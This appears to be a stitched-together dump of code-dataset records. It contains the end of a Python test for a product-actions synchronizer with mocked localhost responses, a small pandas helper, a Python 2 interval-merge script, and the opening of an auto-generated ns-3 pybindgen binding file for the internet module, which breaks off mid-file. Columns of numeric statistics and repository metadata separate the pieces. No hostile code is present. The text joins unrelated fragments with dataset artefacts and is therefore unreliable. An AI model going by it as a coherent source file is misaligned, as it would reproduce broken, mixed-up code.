synchronizer = ActionsSynchronizer(
client=ConnectClient(
use_specs=False,
api_key='ApiKey SU:123',
endpoint='https://localhost/public/v1',
),
silent=True,
stats=stats,
)
mocked_responses.add(
method='GET',
url='https://localhost/public/v1/products/PRD-276-377-545/actions',
headers={
'Content-Range': 'items 0-3/4',
},
json=mocked_actions_response,
)
mocked_responses.add(
method='PUT',
url='https://localhost/public/v1/products/PRD-276-377-545/actions/ACT-276-377-545-001',
json=response,
)
synchronizer.open(f'{fs.root_path}/test.xlsx', 'Actions')
synchronizer.sync()
assert stats['Actions'].get_counts_as_dict() == {
'processed': 1, 'created': 0, 'updated': 1,
'deleted': 0, 'skipped': 0, 'errors': 0,
}
| 30.52193
| 95
| 0.618192
| 1,644
| 13,918
| 5.017032
| 0.081509
| 0.068016
| 0.084869
| 0.103055
| 0.919496
| 0.914767
| 0.914525
| 0.913555
| 0.908705
| 0.908705
| 0
| 0.038968
| 0.23114
| 13,918
| 455
| 96
| 30.589011
| 0.731801
| 0
| 0
| 0.791892
| 0
| 0.016216
| 0.267639
| 0.047277
| 0
| 0
| 0
| 0
| 0.056757
| 1
| 0.037838
| false
| 0
| 0.008108
| 0
| 0.045946
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f796ada807302fa6d57c1e9a8b7befc9050db037
| 170
|
py
|
Python
|
dgp/lib/transform/etc.py
|
DynamicGravitySystems/DGP
|
5c0b566b846eb25f1e5ede64b2caaaa6a3352a29
|
[
"Apache-2.0"
] | 7
|
2017-08-15T21:51:40.000Z
|
2020-10-28T00:40:23.000Z
|
dgp/lib/transform/etc.py
|
DynamicGravitySystems/DGP
|
5c0b566b846eb25f1e5ede64b2caaaa6a3352a29
|
[
"Apache-2.0"
] | 63
|
2017-08-11T15:12:03.000Z
|
2020-05-23T19:03:46.000Z
|
dgp/lib/transform/etc.py
|
cbertinato/DGP
|
5bb8a30895365eccdd452970c45e248903fca8af
|
[
"Apache-2.0"
] | 4
|
2018-03-29T21:30:26.000Z
|
2020-10-27T20:15:23.000Z
|
# coding: utf-8
import pandas as pd
def named_series(*args, **kwargs):
def wrapper(*args, **kwargs):
return pd.Series(*args, **kwargs)
return wrapper
| 15.454545
| 41
| 0.635294
| 23
| 170
| 4.652174
| 0.608696
| 0.280374
| 0.299065
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007576
| 0.223529
| 170
| 10
| 42
| 17
| 0.80303
| 0.076471
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| true
| 0
| 0.2
| 0.2
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
e3bfcbf280303a7ed260321d4bf936ecadfc4b0d
| 922
|
py
|
Python
|
s56.py
|
glcrazier/LeetCodePlay
|
cf951a079d458e02000d170529cb1e3b049da023
|
[
"MIT"
] | 1
|
2018-02-20T13:56:02.000Z
|
2018-02-20T13:56:02.000Z
|
s56.py
|
glcrazier/LeetCodePlay
|
cf951a079d458e02000d170529cb1e3b049da023
|
[
"MIT"
] | null | null | null |
s56.py
|
glcrazier/LeetCodePlay
|
cf951a079d458e02000d170529cb1e3b049da023
|
[
"MIT"
] | null | null | null |
from solution import Solution
from util import Interval
if __name__ == '__main__':
sol = Solution()
intervals = []
intervals.append(Interval(1,3))
intervals.append(Interval(8,10))
intervals.append(Interval(2,6))
intervals.append(Interval(15,18))
print sol.merge(intervals)
intervals = []
intervals.append(Interval(1,3))
intervals.append(Interval(1,3))
intervals.append(Interval(1,2))
intervals.append(Interval(2,6))
intervals.append(Interval(15,18))
print sol.merge(intervals)
intervals = []
print sol.merge(intervals)
intervals = []
intervals.append(Interval(1,3))
print sol.merge(intervals)
intervals = []
intervals.append(Interval(1,3))
intervals.append(Interval(1,2))
print sol.merge(intervals)
intervals = []
intervals.append(Interval(1,2))
intervals.append(Interval(1,3))
print sol.merge(intervals)
| 25.611111
| 37
| 0.670282
| 113
| 922
| 5.39823
| 0.185841
| 0.344262
| 0.527869
| 0.354098
| 0.881967
| 0.881967
| 0.881967
| 0.881967
| 0.880328
| 0.619672
| 0
| 0.044236
| 0.190889
| 922
| 36
| 38
| 25.611111
| 0.773458
| 0
| 0
| 0.833333
| 0
| 0
| 0.008667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.066667
| null | null | 0.2
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
e3c3bd6fb03304a055e8bfd9b40fab78ad417a94
| 859,622
|
py
|
Python
|
ns-3-dev/src/internet/bindings/modulegen__gcc_LP64.py
|
maxvonhippel/snake
|
0805773dc34e1480dffaae40174aa1f82d1c6ce8
|
[
"BSD-3-Clause"
] | 11
|
2015-11-24T11:07:28.000Z
|
2021-12-23T04:10:29.000Z
|
ns-3-dev/src/internet/bindings/modulegen__gcc_LP64.py
|
maxvonhippel/snake
|
0805773dc34e1480dffaae40174aa1f82d1c6ce8
|
[
"BSD-3-Clause"
] | null | null | null |
ns-3-dev/src/internet/bindings/modulegen__gcc_LP64.py
|
maxvonhippel/snake
|
0805773dc34e1480dffaae40174aa1f82d1c6ce8
|
[
"BSD-3-Clause"
] | 6
|
2016-03-01T06:32:21.000Z
|
2022-03-24T19:31:41.000Z
|
from pybindgen import Module, FileCodeSink, param, retval, cppclass, typehandlers
import pybindgen.settings
import warnings
class ErrorHandler(pybindgen.settings.ErrorHandler):
def handle_error(self, wrapper, exception, traceback_):
warnings.warn("exception %r in wrapper %s" % (exception, wrapper))
return True
pybindgen.settings.error_handler = ErrorHandler()
import sys
def module_init():
root_module = Module('ns.internet', cpp_namespace='::ns3')
return root_module
def register_types(module):
root_module = module.get_root()
## tcp-socket.h (module 'internet'): ns3::TcpStates_t [enumeration]
module.add_enum('TcpStates_t', ['CLOSED', 'LISTEN', 'SYN_SENT', 'SYN_RCVD', 'ESTABLISHED', 'CLOSE_WAIT', 'LAST_ACK', 'FIN_WAIT_1', 'FIN_WAIT_2', 'CLOSING', 'TIME_WAIT', 'LAST_STATE'])
## address.h (module 'network'): ns3::Address [class]
module.add_class('Address', import_from_module='ns.network')
## address.h (module 'network'): ns3::Address::MaxSize_e [enumeration]
module.add_enum('MaxSize_e', ['MAX_SIZE'], outer_class=root_module['ns3::Address'], import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::AsciiTraceHelper [class]
module.add_class('AsciiTraceHelper', import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice [class]
module.add_class('AsciiTraceHelperForDevice', allow_subclassing=True, import_from_module='ns.network')
## internet-trace-helper.h (module 'internet'): ns3::AsciiTraceHelperForIpv4 [class]
module.add_class('AsciiTraceHelperForIpv4', allow_subclassing=True)
## internet-trace-helper.h (module 'internet'): ns3::AsciiTraceHelperForIpv6 [class]
module.add_class('AsciiTraceHelperForIpv6', allow_subclassing=True)
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList [class]
module.add_class('AttributeConstructionList', import_from_module='ns.core')
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item [struct]
module.add_class('Item', import_from_module='ns.core', outer_class=root_module['ns3::AttributeConstructionList'])
## buffer.h (module 'network'): ns3::Buffer [class]
module.add_class('Buffer', import_from_module='ns.network')
## buffer.h (module 'network'): ns3::Buffer::Iterator [class]
module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::Buffer'])
## packet.h (module 'network'): ns3::ByteTagIterator [class]
module.add_class('ByteTagIterator', import_from_module='ns.network')
## packet.h (module 'network'): ns3::ByteTagIterator::Item [class]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagIterator'])
## byte-tag-list.h (module 'network'): ns3::ByteTagList [class]
module.add_class('ByteTagList', import_from_module='ns.network')
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator [class]
module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList'])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item [struct]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList::Iterator'])
## callback.h (module 'core'): ns3::CallbackBase [class]
module.add_class('CallbackBase', import_from_module='ns.core')
## candidate-queue.h (module 'internet'): ns3::CandidateQueue [class]
module.add_class('CandidateQueue')
## event-id.h (module 'core'): ns3::EventId [class]
module.add_class('EventId', import_from_module='ns.core')
## global-route-manager.h (module 'internet'): ns3::GlobalRouteManager [class]
module.add_class('GlobalRouteManager')
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRouteManagerImpl [class]
module.add_class('GlobalRouteManagerImpl', allow_subclassing=True)
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRouteManagerLSDB [class]
module.add_class('GlobalRouteManagerLSDB')
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA [class]
module.add_class('GlobalRoutingLSA')
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA::LSType [enumeration]
module.add_enum('LSType', ['Unknown', 'RouterLSA', 'NetworkLSA', 'SummaryLSA', 'SummaryLSA_ASBR', 'ASExternalLSAs'], outer_class=root_module['ns3::GlobalRoutingLSA'])
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLSA::SPFStatus [enumeration]
module.add_enum('SPFStatus', ['LSA_SPF_NOT_EXPLORED', 'LSA_SPF_CANDIDATE', 'LSA_SPF_IN_SPFTREE'], outer_class=root_module['ns3::GlobalRoutingLSA'])
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLinkRecord [class]
module.add_class('GlobalRoutingLinkRecord')
## global-router-interface.h (module 'internet'): ns3::GlobalRoutingLinkRecord::LinkType [enumeration]
module.add_enum('LinkType', ['Unknown', 'PointToPoint', 'TransitNetwork', 'StubNetwork', 'VirtualLink'], outer_class=root_module['ns3::GlobalRoutingLinkRecord'])
## int-to-type.h (module 'core'): ns3::IntToType<0> [struct]
module.add_class('IntToType', import_from_module='ns.core', template_parameters=['0'])
## int-to-type.h (module 'core'): ns3::IntToType<0>::v_e [enumeration]
module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 0 >'], import_from_module='ns.core')
## int-to-type.h (module 'core'): ns3::IntToType<1> [struct]
module.add_class('IntToType', import_from_module='ns.core', template_parameters=['1'])
## int-to-type.h (module 'core'): ns3::IntToType<1>::v_e [enumeration]
module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 1 >'], import_from_module='ns.core')
## int-to-type.h (module 'core'): ns3::IntToType<2> [struct]
module.add_class('IntToType', import_from_module='ns.core', template_parameters=['2'])
## int-to-type.h (module 'core'): ns3::IntToType<2>::v_e [enumeration]
module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 2 >'], import_from_module='ns.core')
## int-to-type.h (module 'core'): ns3::IntToType<3> [struct]
module.add_class('IntToType', import_from_module='ns.core', template_parameters=['3'])
## int-to-type.h (module 'core'): ns3::IntToType<3>::v_e [enumeration]
module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 3 >'], import_from_module='ns.core')
## int-to-type.h (module 'core'): ns3::IntToType<4> [struct]
module.add_class('IntToType', import_from_module='ns.core', template_parameters=['4'])
## int-to-type.h (module 'core'): ns3::IntToType<4>::v_e [enumeration]
module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 4 >'], import_from_module='ns.core')
## int-to-type.h (module 'core'): ns3::IntToType<5> [struct]
module.add_class('IntToType', import_from_module='ns.core', template_parameters=['5'])
## int-to-type.h (module 'core'): ns3::IntToType<5>::v_e [enumeration]
module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 5 >'], import_from_module='ns.core')
## int-to-type.h (module 'core'): ns3::IntToType<6> [struct]
module.add_class('IntToType', import_from_module='ns.core', template_parameters=['6'])
## int-to-type.h (module 'core'): ns3::IntToType<6>::v_e [enumeration]
module.add_enum('v_e', ['value'], outer_class=root_module['ns3::IntToType< 6 >'], import_from_module='ns.core')
## ipv4-address.h (module 'network'): ns3::Ipv4Address [class]
module.add_class('Ipv4Address', import_from_module='ns.network')
## ipv4-address.h (module 'network'): ns3::Ipv4Address [class]
root_module['ns3::Ipv4Address'].implicitly_converts_to(root_module['ns3::Address'])
## ipv4-address-generator.h (module 'internet'): ns3::Ipv4AddressGenerator [class]
module.add_class('Ipv4AddressGenerator')
## ipv4-address-helper.h (module 'internet'): ns3::Ipv4AddressHelper [class]
module.add_class('Ipv4AddressHelper')
## ipv4-end-point.h (module 'internet'): ns3::Ipv4EndPoint [class]
module.add_class('Ipv4EndPoint')
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress [class]
module.add_class('Ipv4InterfaceAddress')
## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e [enumeration]
module.add_enum('InterfaceAddressScope_e', ['HOST', 'LINK', 'GLOBAL'], outer_class=root_module['ns3::Ipv4InterfaceAddress'])
## ipv4-interface-container.h (module 'internet'): ns3::Ipv4InterfaceContainer [class]
module.add_class('Ipv4InterfaceContainer')
## ipv4-address.h (module 'network'): ns3::Ipv4Mask [class]
module.add_class('Ipv4Mask', import_from_module='ns.network')
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4MulticastRoutingTableEntry [class]
module.add_class('Ipv4MulticastRoutingTableEntry')
## ipv4-routing-helper.h (module 'internet'): ns3::Ipv4RoutingHelper [class]
module.add_class('Ipv4RoutingHelper', allow_subclassing=True)
## ipv4-routing-table-entry.h (module 'internet'): ns3::Ipv4RoutingTableEntry [class]
module.add_class('Ipv4RoutingTableEntry')
## ipv4-static-routing-helper.h (module 'internet'): ns3::Ipv4StaticRoutingHelper [class]
module.add_class('Ipv4StaticRoutingHelper', parent=root_module['ns3::Ipv4RoutingHelper'])
## ipv6-address.h (module 'network'): ns3::Ipv6Address [class]
module.add_class('Ipv6Address', import_from_module='ns.network')
## ipv6-address.h (module 'network'): ns3::Ipv6Address [class]
root_module['ns3::Ipv6Address'].implicitly_converts_to(root_module['ns3::Address'])
## ipv6-address-helper.h (module 'internet'): ns3::Ipv6AddressHelper [class]
module.add_class('Ipv6AddressHelper')
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress [class]
module.add_class('Ipv6InterfaceAddress')
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::State_e [enumeration]
module.add_enum('State_e', ['TENTATIVE', 'DEPRECATED', 'PREFERRED', 'PERMANENT', 'HOMEADDRESS', 'TENTATIVE_OPTIMISTIC', 'INVALID'], outer_class=root_module['ns3::Ipv6InterfaceAddress'])
## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Scope_e [enumeration]
module.add_enum('Scope_e', ['HOST', 'LINKLOCAL', 'GLOBAL'], outer_class=root_module['ns3::Ipv6InterfaceAddress'])
## ipv6-interface-container.h (module 'internet'): ns3::Ipv6InterfaceContainer [class]
module.add_class('Ipv6InterfaceContainer')
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6MulticastRoutingTableEntry [class]
module.add_class('Ipv6MulticastRoutingTableEntry')
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix [class]
module.add_class('Ipv6Prefix', import_from_module='ns.network')
## ipv6-routing-helper.h (module 'internet'): ns3::Ipv6RoutingHelper [class]
module.add_class('Ipv6RoutingHelper', allow_subclassing=True)
## ipv6-routing-table-entry.h (module 'internet'): ns3::Ipv6RoutingTableEntry [class]
module.add_class('Ipv6RoutingTableEntry')
## ipv6-static-routing-helper.h (module 'internet'): ns3::Ipv6StaticRoutingHelper [class]
module.add_class('Ipv6StaticRoutingHelper', parent=root_module['ns3::Ipv6RoutingHelper'])
## mac48-address.h (module 'network'): ns3::Mac48Address [class]
module.add_class('Mac48Address', import_from_module='ns.network')
## mac48-address.h (module 'network'): ns3::Mac48Address [class]
root_module['ns3::Mac48Address'].implicitly_converts_to(root_module['ns3::Address'])
## net-device-container.h (module 'network'): ns3::NetDeviceContainer [class]
module.add_class('NetDeviceContainer', import_from_module='ns.network')
## node-container.h (module 'network'): ns3::NodeContainer [class]
module.add_class('NodeContainer', import_from_module='ns.network')
## object-base.h (module 'core'): ns3::ObjectBase [class]
module.add_class('ObjectBase', allow_subclassing=True, import_from_module='ns.core')
## object.h (module 'core'): ns3::ObjectDeleter [struct]
module.add_class('ObjectDeleter', import_from_module='ns.core')
## object-factory.h (module 'core'): ns3::ObjectFactory [class]
module.add_class('ObjectFactory', import_from_module='ns.core')
## ipv6-extension-header.h (module 'internet'): ns3::OptionField [class]
module.add_class('OptionField')
## packet-metadata.h (module 'network'): ns3::PacketMetadata [class]
module.add_class('PacketMetadata', import_from_module='ns.network')
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [struct]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata'])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [enumeration]
module.add_enum('', ['PAYLOAD', 'HEADER', 'TRAILER'], outer_class=root_module['ns3::PacketMetadata::Item'], import_from_module='ns.network')
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator [class]
module.add_class('ItemIterator', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata'])
## packet.h (module 'network'): ns3::PacketTagIterator [class]
module.add_class('PacketTagIterator', import_from_module='ns.network')
## packet.h (module 'network'): ns3::PacketTagIterator::Item [class]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagIterator'])
## packet-tag-list.h (module 'network'): ns3::PacketTagList [class]
module.add_class('PacketTagList', import_from_module='ns.network')
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData [struct]
module.add_class('TagData', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagList'])
## pcap-file.h (module 'network'): ns3::PcapFile [class]
module.add_class('PcapFile', import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::PcapHelper [class]
module.add_class('PcapHelper', import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::PcapHelper [enumeration]
module.add_enum('', ['DLT_NULL', 'DLT_EN10MB', 'DLT_PPP', 'DLT_RAW', 'DLT_IEEE802_11', 'DLT_PRISM_HEADER', 'DLT_IEEE802_11_RADIO'], outer_class=root_module['ns3::PcapHelper'], import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::PcapHelperForDevice [class]
module.add_class('PcapHelperForDevice', allow_subclassing=True, import_from_module='ns.network')
## internet-trace-helper.h (module 'internet'): ns3::PcapHelperForIpv4 [class]
module.add_class('PcapHelperForIpv4', allow_subclassing=True)
## internet-trace-helper.h (module 'internet'): ns3::PcapHelperForIpv6 [class]
module.add_class('PcapHelperForIpv6', allow_subclassing=True)
## random-variable.h (module 'core'): ns3::RandomVariable [class]
module.add_class('RandomVariable', import_from_module='ns.core')
## global-route-manager-impl.h (module 'internet'): ns3::SPFVertex [class]
module.add_class('SPFVertex')
## global-route-manager-impl.h (module 'internet'): ns3::SPFVertex::VertexType [enumeration]
module.add_enum('VertexType', ['VertexUnknown', 'VertexRouter', 'VertexNetwork'], outer_class=root_module['ns3::SPFVertex'])
## random-variable.h (module 'core'): ns3::SeedManager [class]
module.add_class('SeedManager', import_from_module='ns.core')
## sequence-number.h (module 'network'): ns3::SequenceNumber<unsigned int, int> [class]
module.add_class('SequenceNumber32', import_from_module='ns.network')
## random-variable.h (module 'core'): ns3::SequentialVariable [class]
module.add_class('SequentialVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> [class]
module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Object', 'ns3::ObjectBase', 'ns3::ObjectDeleter'], parent=root_module['ns3::ObjectBase'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount'))
## simulator.h (module 'core'): ns3::Simulator [class]
module.add_class('Simulator', destructor_visibility='private', import_from_module='ns.core')
## tag.h (module 'network'): ns3::Tag [class]
module.add_class('Tag', import_from_module='ns.network', parent=root_module['ns3::ObjectBase'])
## tag-buffer.h (module 'network'): ns3::TagBuffer [class]
module.add_class('TagBuffer', import_from_module='ns.network')
## timer.h (module 'core'): ns3::Timer [class]
module.add_class('Timer', import_from_module='ns.core')
## timer.h (module 'core'): ns3::Timer::DestroyPolicy [enumeration]
module.add_enum('DestroyPolicy', ['CANCEL_ON_DESTROY', 'REMOVE_ON_DESTROY', 'CHECK_ON_DESTROY'], outer_class=root_module['ns3::Timer'], import_from_module='ns.core')
## timer.h (module 'core'): ns3::Timer::State [enumeration]
module.add_enum('State', ['RUNNING', 'EXPIRED', 'SUSPENDED'], outer_class=root_module['ns3::Timer'], import_from_module='ns.core')
## timer-impl.h (module 'core'): ns3::TimerImpl [class]
module.add_class('TimerImpl', allow_subclassing=True, import_from_module='ns.core')
## random-variable.h (module 'core'): ns3::TriangularVariable [class]
module.add_class('TriangularVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## type-id.h (module 'core'): ns3::TypeId [class]
module.add_class('TypeId', import_from_module='ns.core')
## type-id.h (module 'core'): ns3::TypeId::AttributeFlag [enumeration]
module.add_enum('AttributeFlag', ['ATTR_GET', 'ATTR_SET', 'ATTR_CONSTRUCT', 'ATTR_SGC'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core')
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation [struct]
module.add_class('AttributeInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId'])
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation [struct]
module.add_class('TraceSourceInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId'])
## random-variable.h (module 'core'): ns3::UniformVariable [class]
module.add_class('UniformVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::WeibullVariable [class]
module.add_class('WeibullVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::ZetaVariable [class]
module.add_class('ZetaVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::ZipfVariable [class]
module.add_class('ZipfVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## empty.h (module 'core'): ns3::empty [class]
module.add_class('empty', import_from_module='ns.core')
## int64x64-double.h (module 'core'): ns3::int64x64_t [class]
module.add_class('int64x64_t', import_from_module='ns.core')
## chunk.h (module 'network'): ns3::Chunk [class]
module.add_class('Chunk', import_from_module='ns.network', parent=root_module['ns3::ObjectBase'])
## random-variable.h (module 'core'): ns3::ConstantVariable [class]
module.add_class('ConstantVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::DeterministicVariable [class]
module.add_class('DeterministicVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::EmpiricalVariable [class]
module.add_class('EmpiricalVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::ErlangVariable [class]
module.add_class('ErlangVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::ExponentialVariable [class]
module.add_class('ExponentialVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## random-variable.h (module 'core'): ns3::GammaVariable [class]
module.add_class('GammaVariable', import_from_module='ns.core', parent=root_module['ns3::RandomVariable'])
## header.h (module 'network'): ns3::Header [class]
module.add_class('Header', import_from_module='ns.network', parent=root_module['ns3::Chunk'])
## icmpv4.h (module 'internet'): ns3::Icmpv4DestinationUnreachable [class]
module.add_class('Icmpv4DestinationUnreachable', parent=root_module['ns3::Header'])
## icmpv4.h (module 'internet'): ns3::Icmpv4DestinationUnreachable [enumeration]
module.add_enum('', ['NET_UNREACHABLE', 'HOST_UNREACHABLE', 'PROTOCOL_UNREACHABLE', 'PORT_UNREACHABLE', 'FRAG_NEEDED', 'SOURCE_ROUTE_FAILED'], outer_class=root_module['ns3::Icmpv4DestinationUnreachable'])
## icmpv4.h (module 'internet'): ns3::Icmpv4Echo [class]
module.add_class('Icmpv4Echo', parent=root_module['ns3::Header'])
## icmpv4.h (module 'internet'): ns3::Icmpv4Header [class]
module.add_class('Icmpv4Header', parent=root_module['ns3::Header'])
## icmpv4.h (module 'internet'): ns3::Icmpv4Header [enumeration]
module.add_enum('', ['ECHO_REPLY', 'DEST_UNREACH', 'ECHO', 'TIME_EXCEEDED'], outer_class=root_module['ns3::Icmpv4Header'])
## icmpv4.h (module 'internet'): ns3::Icmpv4TimeExceeded [class]
module.add_class('Icmpv4TimeExceeded', parent=root_module['ns3::Header'])
## icmpv4.h (module 'internet'): ns3::Icmpv4TimeExceeded [enumeration]
module.add_enum('', ['TIME_TO_LIVE', 'FRAGMENT_REASSEMBLY'], outer_class=root_module['ns3::Icmpv4TimeExceeded'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header [class]
module.add_class('Icmpv6Header', parent=root_module['ns3::Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header::Type_e [enumeration]
module.add_enum('Type_e', ['ICMPV6_ERROR_DESTINATION_UNREACHABLE', 'ICMPV6_ERROR_PACKET_TOO_BIG', 'ICMPV6_ERROR_TIME_EXCEEDED', 'ICMPV6_ERROR_PARAMETER_ERROR', 'ICMPV6_ECHO_REQUEST', 'ICMPV6_ECHO_REPLY', 'ICMPV6_SUBSCRIBE_REQUEST', 'ICMPV6_SUBSCRIBE_REPORT', 'ICMPV6_SUBSCRIVE_END', 'ICMPV6_ND_ROUTER_SOLICITATION', 'ICMPV6_ND_ROUTER_ADVERTISEMENT', 'ICMPV6_ND_NEIGHBOR_SOLICITATION', 'ICMPV6_ND_NEIGHBOR_ADVERTISEMENT', 'ICMPV6_ND_REDIRECTION', 'ICMPV6_ROUTER_RENUMBER', 'ICMPV6_INFORMATION_REQUEST', 'ICMPV6_INFORMATION_RESPONSE', 'ICMPV6_INVERSE_ND_SOLICITATION', 'ICMPV6_INVERSE_ND_ADVERSTISEMENT', 'ICMPV6_MLDV2_SUBSCRIBE_REPORT', 'ICMPV6_MOBILITY_HA_DISCOVER_REQUEST', 'ICMPV6_MOBILITY_HA_DISCOVER_RESPONSE', 'ICMPV6_MOBILITY_MOBILE_PREFIX_SOLICITATION', 'ICMPV6_SECURE_ND_CERTIFICATE_PATH_SOLICITATION', 'ICMPV6_SECURE_ND_CERTIFICATE_PATH_ADVERTISEMENT', 'ICMPV6_EXPERIMENTAL_MOBILITY'], outer_class=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header::OptionType_e [enumeration]
module.add_enum('OptionType_e', ['ICMPV6_OPT_LINK_LAYER_SOURCE', 'ICMPV6_OPT_LINK_LAYER_TARGET', 'ICMPV6_OPT_PREFIX', 'ICMPV6_OPT_REDIRECTED', 'ICMPV6_OPT_MTU'], outer_class=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header::ErrorDestinationUnreachable_e [enumeration]
module.add_enum('ErrorDestinationUnreachable_e', ['ICMPV6_NO_ROUTE', 'ICMPV6_ADM_PROHIBITED', 'ICMPV6_NOT_NEIGHBOUR', 'ICMPV6_ADDR_UNREACHABLE', 'ICMPV6_PORT_UNREACHABLE'], outer_class=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header::ErrorTimeExceeded_e [enumeration]
module.add_enum('ErrorTimeExceeded_e', ['ICMPV6_HOPLIMIT', 'ICMPV6_FRAGTIME'], outer_class=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6Header::ErrorParameterError_e [enumeration]
module.add_enum('ErrorParameterError_e', ['ICMPV6_MALFORMED_HEADER', 'ICMPV6_UNKNOWN_NEXT_HEADER', 'ICMPV6_UNKNOWN_OPTION'], outer_class=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6NA [class]
module.add_class('Icmpv6NA', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6NS [class]
module.add_class('Icmpv6NS', parent=root_module['ns3::Icmpv6Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionHeader [class]
module.add_class('Icmpv6OptionHeader', parent=root_module['ns3::Header'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionLinkLayerAddress [class]
module.add_class('Icmpv6OptionLinkLayerAddress', parent=root_module['ns3::Icmpv6OptionHeader'])
## icmpv6-header.h (module 'internet'): ns3::Icmpv6OptionMtu [class]
